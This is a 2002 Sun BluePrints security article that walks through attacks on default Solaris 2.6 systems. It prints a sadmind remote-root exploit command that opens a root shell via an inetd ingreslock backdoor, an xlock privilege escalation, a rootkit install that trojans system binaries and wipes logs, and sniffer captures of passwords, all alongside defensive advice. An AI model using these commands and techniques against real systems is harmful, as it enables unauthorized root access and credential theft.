SUN BLUEPRINTS [illegible] APPROVED

How Hackers Do It: Tricks, Tools, and Techniques

Alex Noordergraaf, Enterprise Server Products

Sun BluePrints™ OnLine—May, 2002

Sun microsystems

http://www.sun.com/blueprints

Sun Microsystems, Inc.
4150 Network Circle
Santa Clara, CA 95045 USA
650 960-1300

Part No.: 816-4816-10
Revision 1.0
Edition: May 2002

Copyright 2002 Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, California 95054, U.S.A. All rights reserved.

Sun Microsystems, Inc. has intellectual property rights relating to technology embodied in the product that is described in this document. In particular, and without limitation, these intellectual property rights may include one or more of the U.S. patents listed at http://www.sun.com/patents and one or more additional patents or pending patent applications in the U.S. and in other countries.

This document and the product to which it pertains are distributed under licenses restricting their use, copying, distribution, and decompilation. No part of the product or of this document may be reproduced in any form by any means without prior written authorization of Sun and its licensors, if any.

Third-party software, including font technology, is copyrighted and licensed from Sun suppliers.

Parts of the product may be derived from Berkeley BSD systems, licensed from the University of California. UNIX is a registered trademark in the U.S. and in other countries, exclusively licensed through X/Open Company, Ltd.

Sun, Sun Microsystems, the Sun logo, AnswerBook2, docs.sun.com, Solaris, Solaris Operating Environment, JumpStart, Sun BluePrints, Sun Fire, Sun Professional Services, SunPS, and Sun Cluster are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and in other countries.

All SPARC trademarks are used under license and are trademarks or registered trademarks of SPARC International, Inc. in the U.S. and in other countries. Products bearing SPARC trademarks are based upon an architecture developed by Sun Microsystems, Inc.

The OPEN LOOK and Sun™ Graphical User Interface was developed by Sun Microsystems, Inc. for its users and licensees. Sun acknowledges the pioneering efforts of Xerox in researching and developing the concept of visual or graphical user interfaces for the computer industry. Sun holds a non-exclusive license from Xerox to the Xerox Graphical User Interface, which license also covers Sun's licensees who implement OPEN LOOK GUIs and otherwise comply with Sun's written license agreements.

Use, duplication, or disclosure by the U.S. Government is subject to restrictions set forth in the Sun Microsystems, Inc. license agreements and as provided in DFARS 227.7202-1(a) and 227.7202-3(a) (1995), DFARS 252.227-7013(c)(1)(ii) (Oct. 1998), FAR 12.212(a) (1995), FAR 52.227-19, or FAR 52.227-14 (ALT III), as applicable.

DOCUMENTATION IS PROVIDED "AS IS" AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD TO BE LEGALLY INVALID.

Copyright 2002 Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, California 95054, Etats-Unis. Tous droits réservés.

Sun Microsystems, Inc. a les droits de propriété intellectuels relatants à la technologie incorporée dans le produit qui est décrit dans ce document. En particulier, et sans la limitation, ces droits de propriété intellectuels peuvent inclure un ou plus des brevets américains énumérés à http://www.sun.com/patents et un ou les brevets plus supplémentaires ou les applications de brevet en attente dans les Etats-Unis et dans les autres pays.

Ce produit ou document est protégé par un copyright et distribué avec des licences qui en restreignent l'utilisation, la copie, la distribution, et la décompilation. Aucune partie de ce produit ou document ne peut être reproduite sous aucune forme, parquelque moyen que ce soit, sans l'autorisation préalable et écrite de Sun et de ses bailleurs de licence, s'il y ena.ls

Le logiciel détenu par des tiers, et qui comprend la technologie relative aux polices de caractères, est protégé par un copyright et licencié par des fournisseurs de Sun.

Des parties de ce produit pourront être dérivées des systèmes Berkeley BSD licenciés par l'Université de Californie. UNIX est une marque déposée aux Etats-Unis et dans d'autres pays et licenciée exclusivement par X/Open Company, Ltd.

Sun, Sun Microsystems, le logo Sun, AnswerBook2, docs.sun.com, Solaris, Solaris Operating Environment, JumpStart, Sun BluePrints, Sun Fire, Sun Professional Services, SunPS, et Sun Clusters ont des marques de fabrique ou des marques déposées de Sun Microsystems, Inc. aux Etats-Unis et dans d'autres pays.

Toutes les marques SPARC sont utilisées sous licence et sont des marques de fabrique ou des marques déposées de SPARC International, Inc. aux Etats-Unis et dans d'autres pays. Les produits protant les marques SPARC sont basés sur une architecture développée par Sun Microsystems, Inc.

L'interface d'utilisation graphique OPEN LOOK et Sun™ a été développée par Sun Microsystems, Inc. pour ses utilisateurs et licenciés. Sun reconnaît les efforts de pionniers de Xerox pour la recherche et le développment du concept des interfaces d'utilisation visuelle ou graphique pour l'industrie de l'informatique. Sun détient une license non exclusive do Xerox sur l'interface d'utilisation graphique Xerox, cette licence couvrant également les licenciées de Sun qui mettent en place l'interface d 'utilisation graphique OPEN LOOK et qui en outre se conforment aux licences écrites de Sun.

Please
Recycle

Adobe PostScript™

How Hackers Do It: Tricks, Tools, and Techniques

This article describes the tricks, tools, and techniques hackers use to gain unauthorized access to Solaris™ Operating Environment (Solaris OE) systems. Ironically, it's often the most basic methods that hackers use to successfully gain access to your systems.

For this article, we use the default configuration of a Solaris OE system to evaluate which vulnerabilities are most attractive to an intruder. Using easily obtainable freeware security tools, we demonstrate the techniques hackers employ to attack systems.

All of the attacks described in this article have preventive solutions available; however, every day, hackers compromise systems using these attacks. Being aware of how these attacks are performed, you can raise awareness within your organization for the importance of building and maintaining secure systems.

Many organizations make the mistake of addressing security only during installation, then never revisit it. Maintaining security is an ongoing process, and it is something that must be reviewed and revisited periodically.

Using the information in this article, you can try hacking into your organization's datacenter, high-end server, or other system to determine where basic attacks would succeed. Then, you can address security weaknesses to prevent unauthorized users from attacking the system.

This article contains the following topics:

Tricks

A trick is a "mean crafty procedure or practice...designed to deceive, delude, or defraud.[1]" Hackers use tricks to find short cuts for gaining unauthorized access to systems. They may use their access for illegal or destructive purposes, or they may simply be testing their own skills to see if they can perform a task.

Given that most hackers are motivated by curiosity and have time to try endless attacks, the probability is high that eventually they do find a sophisticated method to gain access to just about any environment. However, these aren't the types of attacks we address in this article, because most successful intrusions are accomplished through well-known and well-documented security vulnerabilities that either haven't been patched, disabled, or otherwise dealt with. These vulnerabilities are exploited every day and shouldn't be.

Note – You can implement many of the changes necessary to patch, disable, or deal with security vulnerabilities by using the Solaris Security Toolkit, available from: `http://www.sun.com/blueprints/tools`.

Finding Access Vulnerabilities

What generally happens is that an advanced or elite hacker writes a scanning tool that looks for well-known vulnerabilities, and the elite hacker makes it available over the Internet. Less experienced hackers, commonly called "script kiddies," then run the scanning tool 24 x 7, scanning large numbers of systems and finding many systems that are vulnerable. They typically run the tool against the name-spaces associated with companies they would like to get into.

The script kiddies use a list of vulnerable IP addresses to launch attacks, based on the vulnerabilities advertised by a machine, to gain access to systems. Depending on the vulnerability, an attacker may be able to create either a privileged or non-privileged account. Regardless, the attacker uses this initial entry (also referred to as a "toe-hold") in the system to gain additional privileges and exploit the systems the penetrated system has trust relationships with, shares information with, is on the same network with, and so on.

Once a toe-hold is established on a system, the attacker can run scanning tools against all the systems connected to the penetrated system. Depending on the system compromised, these scans can run inside an organization's network.

Finding Operating System Vulnerabilities

As mentioned previously, hackers first look for vulnerabilities to gain access. Then they look for operating system (OS) vulnerabilities and for scanning tools that report on those vulnerabilities.

Finding vulnerabilities specific to an OS is as easy as typing in a URL address and clicking on the appropriate link. There are many organizations that provide “full-disclosure” information. Full disclosure is the practice of providing all information to the public domain so that it isn’t known only to the hacker community.

Mitre, a government think tank, supports the Common Vulnerability and Exposures (CVE) dictionary. As stated on their web site (`http://cve.mitre.org`), the goal is to provide the following:

> *A list of standardized names for vulnerabilities and other information security exposures—CVE aims to standardize the names for all publicly known vulnerabilities and security exposures*[2].

Other security sites, such as SecurityFocus, CERT, the SANS Institute, and many others, provide information about how to determine the vulnerabilities an OS has and how to best exploit them.

Attacking Solaris OE Vulnerabilities

Let’s use Solaris 2.6 OE as an example. A well-known vulnerability, for which patches are available, is the `sadmind` exploit. Hackers frequently use this vulnerability to gain root access on Solaris 2.6 OE systems.

Using only a search engine and the CVE number, found by searching through the Mitre site listed previously, it is possible to find the source code and detailed instructions on how to use it. The entire process takes only a few minutes. The hacker finds the source code on the SecurityFocus web site and finds detailed instructions on the SANS site.

Tools

Hackers use a variety of tools to attack a system. Each of the tools we cover in this article have distinct capabilities. We describe the most popular tools from each of the following categories:

- Port scanners
- Vulnerability scanners
- Rootkits
- Sniffers

Later in this article, we use some of these tools in realistic scenarios to demonstrate how easily even a novice hacker or script-kiddie can gain access to an unsecured system.

Port Scanners

Port scanners are probably the most commonly used scanning tools on the Internet. These tools scan large IP spaces and report on the systems they encounter, the ports available, and other information, such as OS types. The most popular port scanner is Network Mapper (Nmap).

The Nmap port scanner is described as follows on the Nmap web site:

> *Nmap ("Network Mapper") is an open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (ports) they are offering, what operating system (and OS version) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers, and both console and graphical versions are available. Nmap is free software, available with full source code under the terms of the GNU GPL.*[3]

Nmap is an excellent security tool because it allows you to determine which services are being offered by a system. Because Nmap is optimized to scan large IP ranges, it can be run against all IP addresses used by an organization, or all cable modem IP addresses provided by an organization. After using Nmap to find machines and identify their services, you can run the Nessus vulnerability scanner against the vulnerable machines.

Nmap supports an impressive array of scan types that permit everything from TCP SYN (half open) to Null scan sweeps. Additional options include OS fingerprinting, parallel scan, and decoy scanning, to name a few. Nmap supports a graphical version through `xnmap`. For more information about Nmap, refer to the Nmap web site or the `nmap(1m)` man page.

Vulnerability Scanners

This section describes tools available for scanning vulnerable systems. Vulnerability scanners look for a specific vulnerability or scan a system for all potential vulnerabilities. Vulnerability tools are freely available. We focus on the most popular and best-maintained vulnerability scanner available, Nessus.

The Nessus vulnerability tool is described on the Nessus web site:

> *The "Nessus" Project aims to provide to the Internet community a free, powerful, up-to-date and easy to use remote security scanner. A security scanner is a software which will remotely audit a given network and determine whether bad guys (aka 'crackers') may break into it, or misuse it in some way.*
>
> *Unlike many other security scanners, Nessus does not take anything for granted. That is, it will not consider that a given service is running on a fixed port—that is, if you run your web server on port 1234, Nessus will detect it and test its security. It will not make its security tests regarding the version number of the remote services, but will really attempt to exploit the vulnerability.*
>
> *Nessus is very fast, reliable and has a modular architecture that allows you to fit it to your needs.*[4]

Nessus provides administrators and hackers alike with a tool to scan systems and evaluate vulnerabilities present in services offered by that system. Through both its command line and GUI-based client, Nessus provides capabilities that are invaluable. Running Nessus is much more convenient in its GUI mode. For more information about Nessus, refer to their web site.

Rootkits

The term rootkit describes a set of scripts and executables packaged together that allow intruders to hide any evidence that they gained root access to a system. Some of the tasks performed by a rootkit are as follows:

- Modify system log files to remove evidence of an intruder's activities.
- Modify system tools to make detection of an intruder's modifications more difficult.
- Create hidden back-door access points in the system.
- Use the system as a launch point for attacks against other networked systems.

Sniffers

Network sniffing, or just "sniffing," is using a computer to read all network traffic, of which some may not be destined for that system. To perform sniffing, a network interface must be put into promiscuous mode so that it forwards, to the application layer, all network traffic, not just network traffic destined for it.

The Solaris OE includes a tool called `snoop` that can capture and display all network traffic seen by a network interface on the system. While being relatively primitive, this tool can quite effectively gather clear-text user IDs and passwords passing over a network. Many popular protocols in use today such as Telnet, FTP, IMAP, and POP-3 do not encrypt their user authentication and identification information.

Once a system is accessed, an intruder typically installs a network sniffer on the system to gain additional user ID and password information, to gather information about how the network is constructed, and to learn what it is used for.

Techniques

In this section, we describe two different attack scenarios to demonstrate how easily a hacker can gain access to an unsecured system. These successful attacks simulate the following scenarios:

- Attacks from the Internet
- Attacks from employees

In both attack scenarios, after the hacker establishes a root account, the hacker wants to maintain access to the system and establish additional privileges to access the rest of the environment. We correlate the tools that the hacker uses to find vulnerabilities, gain access, and establish additional privileges.

For information about the tools and how to use them, please refer to the following sections:

- "Tools" on page 4
- "How to Use the Tools" on page 11

Attacks From the Internet

In this scenario, a hacker uses the Nessus vulnerability scanner to locate a system running Solaris 2.6 OE that has not been protected from the `sadmind` remote procedure call (RPC) service vulnerability. Let's see how the `sadmind` exploit works against the victim system.

After the hacker gains access, the hacker uses a rootkit to gain and maintain root access.

The header of the sadminindex.c program provides the following information on its usage:

```
sadmindex - SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)

Usage:  % sadmindex -h hostname -c command -s sp [-o offset]  [-a
alignment] [-p]

where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.
```

The author of the sadmindex program made things even easier by providing example stack pointer values. Some tinkering with the sp value was necessary in this example to get the exploit to work; however, it didn't take much trial and error because the next offset tried was 0xefff9588.

The hacker runs the exploit from a Solaris 8 OE system against the Solaris 2.6 OE system, with the following arguments:

```
# ./sadminsparc -h nfs -c "echo 'ingreslock stream tcp nowait root
/bin/sh sh -i' \
>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596
```

The exploit produces the following output:

```
% sp 0xefff9596 offset 688 --> return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 --> %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected
```

As an administrator, if you want to try this exploit on your system, or if you want to determine if an attacker has tried this exploit on your system, run the following command to verify that the inetd process is running:

```
# ps -ef | grep inetd
 root  5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x
```

Next, run the following command to determine if a service called `ingreslock` is listening:

```
# netstat -a | grep ingres
*.ingreslock  *.*  0      0     0      0 LISTEN
```

A hacker establishes a Telnet connection to the port with the following command. Using this command provides the hacker a root shell prompt, which allows the hacker to infiltrate the system further by adding new accounts:

```
# telnet nfs ingreslock
Trying 192.168.0.20...
Connected to nfs.
Escape character is '^]'.
# hostname
nfs
```

Attacks From Employees

In this scenario, an employee has user access privileges to the system, however, the employee is not authorized to have root access privileges. This scenario is very common. It usually occurs when accounts are left logged on and systems are insecure, thus providing an intruding employee the opportunity to perform unauthorized actions.

The ability of malicious internal users to gain additional privileges on Solaris OE systems is a very real security issue. Unfortunately, it is frequently overlooked or ignored by administrators and managers who say, “That could never happen here” or “We have to trust all of our employees.” Serious security incidents occur in situations like these.

Most systems have different types of users. Authorized individuals are systems administrators, operators, database administrators, hardware technicians, and so forth. Each class of user has permissions and privileges defined by user ID and group IDs on the system. Most of these users do not have a root password or permission to use it.

What happens when an authorized user turns malicious or an intruder gains access to an authorized user’s account through trusted relationships, poor password management, sessions left unlocked, and the like?

Once on a system, malicious users and intruders can use buffer overflow attacks to gain root privileges. For example, on August 10th, 2001, a buffer overflow against `xlock` was released. (The `xlock` executable is a utility for locking X-windows displays.) This utility is useful to attack because it is installed with the `setuid root` command, due to its need to authorize access to the display when it is locked.

A quick search through a few web sites provides the sample source code, which only has 131 lines of code. For this scenario, after compiling with the freeware GNU gcc compiler, the executable is placed on the test system `ganassi`. The following sequence demonstrates the exploit:

```
console login: noorder
Password:
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0x502(1282)
the padding zeros number = 2

Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root
```

Now that the attacker has root privileges on the system, it is easy to use a sniffer, install back doors, maintain and gain additional access privileges using rootkits, and perform tricks and subsequent attacks.

How to Use the Tools

This section provides samples of how to use each of the tools covered in the “Tools” on page 4” section. We provide sample output and tips on interpreting the results. Use this information with the sample attack scenarios in the “Techniques” on page 7” section.

Using Port Scanners

To demonstrate the capabilities of the Nmap port scanner, we ran the following scan. The output of the scan reveals the services running on the machine. Nmap’s ability to identify the OS running on the system is particularly useful because it can significantly reduce the time required to launch a successful attack against the machine.

Based on the Nmap results, this system appears to be a fully loaded Solaris 2.6 or 7 OE system running most of the default services.

The Nmap output is as follows:

```
# /usr/local/nmap -O ganassi

Starting nmap V. 2.53 (www.insecure.org/nmap/)
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port       State       Service
7/tcp      open        echo
9/tcp      open        discard
13/tcp     open        daytime
19/tcp     open        chargen
21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
37/tcp     open        time
79/tcp     open        finger
111/tcp    open        sunrpc
512/tcp    open        exec
513/tcp    open        login
514/tcp    open        shell
515/tcp    open        printer
540/tcp    open        uucp
1103/tcp   open        xaudio
4045/tcp   open        lockd
6112/tcp   open        dtspc
7100/tcp   open        font-service
32771/tcp  open        sometimes-rpc5
32772/tcp  open        sometimes-rpc7
32773/tcp  open        sometimes-rpc9
32774/tcp  open        sometimes-rpc11
32775/tcp  open        sometimes-rpc13
32776/tcp  open        sometimes-rpc15
32777/tcp  open        sometimes-rpc17
32778/tcp  open        sometimes-rpc19

Remote operating system guess: Solaris 2.6 - 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds
```

Using Vulnerability Scanners

To demonstrate the capabilities of the Nessus vulnerability scanner, we ran the following scan.

The command in our example runs a Nessus scan against the hosts listed in `targetfile` and stores the output in `outfile`:

```
# nessus -T text localhost 1241 noorder targetfile outfile
```

The Nessus output begins with a summary of the scan results:

```
Nessus Scan Report
------------------

SUMMARY

 - Number of hosts which were alive during the test : 1
 - Number of security holes found : 2
 - Number of security warnings found : 15
 - Number of security notes found : 1

TESTED HOSTS

 192.168.0.90 (Security holes found)
```

The output continues with details for each of the security warnings found. The following is an excerpt from the output:

```
DETAILS

+ 192.168.0.90 :
 . List of open ports :
   o unknown (161/udp) (Security hole found)
   o unknown (32779/udp) (Security warnings found)
   o unknown (32775/tcp) (Security warnings found)
   o unknown (32776/udp) (Security warnings found)
   o unknown (32778/udp) (Security warnings found)
   o unknown (32774/udp) (Security hole found)
   o unknown (32777/udp) (Security warnings found)
   o unknown (32780/udp) (Security warnings found)
   o unknown (32775/udp) (Security warnings found)
   o lockd (4045/udp) (Security warnings found)
   o unknown (32781/udp) (Security hole found)

. Vulnerability found on port unknown (32774/udp) :

    The sadmin RPC service is running.
    There is a bug in Solaris versions of
    this service that allow an intruder to
    execute arbitrary commands on your system.

    Solution : disable this service
    Risk factor : High
```

Using this output, hackers from our example scenarios (“Techniques” on page 7”) gain access to the system.

In addition to other vulnerabilities, the following “denial of service” (DoS) vulnerability appears in the output:

```
DETAILS

. List of open ports :
   o general/tcp (Security hole found)

 . Vulnerability found on port general/tcp :

    It was possible
    to make the remote server crash
    using the ’teardrop’ attack.

    A cracker may use this attack to
    shut down this server, thus
    preventing your network from
    working properly.

    Solution : contact your operating
    system vendor for a patch.

    Risk factor : High
    CVE : CAN-1999-0015
```

The result of our Nessus scan reveals two security holes and 15 security warnings on a default Solaris 2.6 OE system.

Using Rootkits

To demonstrate the capabilities of a rootkit, we use one built for Solaris 2.6 OE. This rootkit is detailed in the Sun BluePrints™ OnLine article, *The Solaris Fingerprint Database—A Security Tool for Solaris Software and Files*. Additionally, this rootkit is documented by the HoneyNet project.

The rootkit has a variety of programs that fit into the following categories:

- Network sniffers
- Log file cleanup
- Internet Relay Chat (IRC) proxy

Included in the rootkit is an installation script for automating the installation of rootkit programs, setting program permissions, and erasing evidence from the log files.

The installation of the rootkit is as follows:

```
ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete :-)
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
- WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
   193 ?        0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on
efnet
--Using conf file ./sys222.conf
--Configuration:
    Daemon port......:9879
    Maxusers.........:0
    Default conn port:6667
    Pid File.........:./pid.sys222
    Vhost Default....:-SYSTEM DEFAULT-
    Process Id.......:759
Exit ./sys222{7} :Successfully went into the background.
```

The installation script is neither elegant nor correct for the Solaris 2.6 OE; however, it performs the job. It replaces the following system files:

```
/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind
```

Now the attacker has root access to a system on which:

- It is difficult for an administrator to detect the intruder through standard Solaris OE commands, such as `ls`, `find`, `ps`, and `netstat`, because those binaries are replaced by *trojan* (hidden inside something that appears safe) versions.
- It is easy for the attacker to gain access repeatedly because the new and trojaned system binaries for the `login` and `rpcbind` allow the attacker to gain access and execute commands on the system remotely.

The rootkit installs network sniffers on the victim system. This rootkit installs four network sniffers: `le`, `sniff`, `sniff-10mb`, and `sniff-100mb`.

Only the `sniff-100mb` executable is usable on `ganassi`; the other sniffers are hard-coded for specific interfaces.

The sniff-100mb executable defaults to the hme0 interface on ganassi. When the executable is run on ganassi, it produces a nicely formatted summary of network activity on the system:

```
ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.

Log started at => Thu Aug 26 15:31:10 [pid 856]


-- TCP/IP LOG -- TM: Thu Aug 26 15:31:19 --
 PATH: 10.8.10.200(34398) => ganassi(telnet)
 STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
 DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)'(255)(253)^E(255)(250)^_
     : P
     : ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
     : DTTERM(255)(240)(255)(250)'
     : (255)(240)(255)(253)^A(255)(252)^Anoorder
     : t00lk1t
     : ls
     : who
     : cd /var/tmp
     : ls -al
--
```

This output includes the user ID and password used to access the system.

The rootkit includes log cleanup programs and an IRC proxy.

Several sets of logs are sanitized by the rootkit: utmp, utmpx, wtmp, wtmpx, and lastlog. The program that sanitizes the logs is called zap; it looks for and removes files in common directories.

The IRC proxy in the rootkit includes a bot. The proxy bounces IRC messages across a private IRC channel. The bot keeps the channel open and responds to certain commands.

Using Sniffers

To demonstrate the capabilities of a sniffer to extract a user ID and password from a Telnet and IMAP session, we use the snoop tool. Collecting the information for the samples only took a few seconds.

The following is an example of the insecurities of Telnet:

```
# snoop -d qfe0 port telnet ganassi
     ganassi -> nomex-lab    TELNET R port=32835
\377\373\1\377\375\1login:
   nomex-lab -> ganassi      TELNET C port=32835 r
     ganassi -> nomex-lab    TELNET R port=32835 r
   nomex-lab -> ganassi      TELNET C port=32835 o
     ganassi -> nomex-lab    TELNET R port=32835 o
   nomex-lab -> ganassi      TELNET C port=32835
   nomex-lab -> ganassi      TELNET C port=32835 o
     ganassi -> nomex-lab    TELNET R port=32835 o
   nomex-lab -> ganassi      TELNET C port=32835
   nomex-lab -> ganassi      TELNET C port=32835 t
     ganassi -> nomex-lab    TELNET R port=32835 t
   nomex-lab -> ganassi      TELNET C port=32835
     ganassi -> nomex-lab    TELNET R port=32835 Password:
   nomex-lab -> ganassi      TELNET C port=32835
   nomex-lab -> ganassi      TELNET C port=32835 t
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 0
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 0
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 l
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 k
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 1
     ganassi -> nomex-lab    TELNET R port=32835
   nomex-lab -> ganassi      TELNET C port=32835 t
   nomex-lab -> ganassi      TELNET C port=32835
    ganassi -> nomex-lab   TELNET R port=32835 Last login: Thu Mar
   nomex-lab -> ganassi      TELNET C port=32835
     ganassi -> nomex-lab    TELNET R port=32835 #
```

The following is an example of the insecurities of IMAP:

```
# snoop -d qfe0 port imap2 ganassi
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600 * OK ganassi SIMS (tm) 2.0p12
IMAP
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 1 capability\r\n
ganassi -> jordan IMAP R port=46600
ganassi -> jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”\r\n
ganassi -> jordan IMAP R port=46600 2 OK LOGIN completed
```

Using the `snoop` tool is fairly straightforward. If it runs for very long, it collects a great deal of data, and it might be noticed. The ideal solution for an attacker is an automated tool that only saves the user ID and password information for a specific list of protocols. Several tools are available to perform this task: the relatively simple `sniffit` and the much more flexible and extensive `dsniff`. (The `dsniff` tool provides automated mechanisms for attacking switched networks.) Either of these tools can be left running on a system for weeks, or months, to collect hundreds, maybe thousands, of passwords.

Switched Networks

No evaluation of network sniffing is complete without covering network switches. Network switches connect multiple systems to the same network segment in much the same manner as a network hub. The major difference is in the switch’s ability to forward packets on a per-port basis. In this manner, only network traffic destined for a port is forwarded to it, instead of the port seeing all network traffic. With this configuration, even if a network interface is in the promiscuous mode, it does not see the traffic destined for another port on the same system.

Many people, based on this configuration, believe that network sniffing is useless. This belief is not true for two reasons. First, a sniffer running on a system captures all non-encrypted user ID and password strings sent to and from the system to any other system on the network. Secondly, publicly disclosed address resolution protocol (ARP) attacks can be launched against the network switch itself. These attacks can force the switch to relay all packets through one port, on which the sniffer is running. Network switches are a layer of protection against sniffing, however, they are not a complete solution.

To protect against network sniffing, encrypt authentication information. For example, instead of using Telnet and FTP, use Secure Shell (SSH). Instead of using plain POP3 for email, encrypt the session over secured sockets layer (SSL) for privacy. These precautions protect against network sniffing.

Terminal Servers

Many organizations use terminal servers to manage and administer headless systems (systems without a local display, keyboard, or mouse, and are managed remotely via remote consoles). While effective in leveraging datacenter space and "lights-out" datacenter environments, recognize that terminal servers can have many of the same vulnerabilities as systems. For example, the terminal servers shipped with Sun™ Cluster 3.0 software are normally 8-port Bay Annex servers. These terminal servers are accessed through Telnet.

The following is a snoop trace of a root login into this terminal server:

```
# snoop -d qfe0 nts01
 nts01 -> nomex    TELNET R port=34395 \nRotaries Defined:
   nomex -> nts01  TELNET C port=34395
 nts01 -> nomex    TELNET R port=34395 \n\nEnter Annex p
   nomex -> nts01  TELNET C port=34395
   nomex -> nts01  TELNET C port=34395 3
 nts01 -> nomex    TELNET R port=34395
 nts01 -> nomex    TELNET R port=34395 Attached to port 3
   nomex -> nts01  TELNET C port=34395
 nts01 -> nomex    TELNET R port=34395 ganassi console lo
   nomex -> nts01  TELNET C port=34395
   nomex -> nts01  TELNET C port=34395 r
 nts01 -> nomex    TELNET R port=34395 r
   nomex -> nts01  TELNET C port=34395 o
 nts01 -> nomex    TELNET R port=34395 o
 nts01 -> nomex    TELNET R port=34395 o
   nomex -> nts01  TELNET C port=34395 o
   nomex -> nts01  TELNET C port=34395 t
 nts01 -> nomex    TELNET R port=34395 t
   nomex -> nts01  TELNET C port=34395
 nts01 -> nomex    TELNET R port=34395 Password:
   nomex -> nts01  TELNET C port=34395
   nomex -> nts01  TELNET C port=34395 t
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 0
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 0
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 l
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 k
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 1
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395 t
 nts01 -> nomex    TELNET R port=34395
   nomex -> nts01  TELNET C port=34395
 nts01 -> nomex    TELNET R port=34395 Mar 26 13:04:36 ga
 nts01 -> nomex    TELNET R port=34395 Last login:
   nomex -> nts01  TELNET C port=34395
 nts01 -> nomex    TELNET R port=34395 Thu Mar 26 13:03:06
 nts01 -> nomex    TELNET R port=34395 SunOS 5.6       Gene
```

Clearly, these terminal servers need to be protected by the same encryption technology as all the systems on the network. Two alternatives are available to secure terminal servers. The first is to purchase terminal servers that support encryption for privacy through a mechanism such as SSH. The second alternative is to provide a landing pad that functions as a gateway between the terminal servers and the rest of the network. This gateway supports SSH, and the private network on which the terminal services reside isolate the use of Telnet.

About the Author

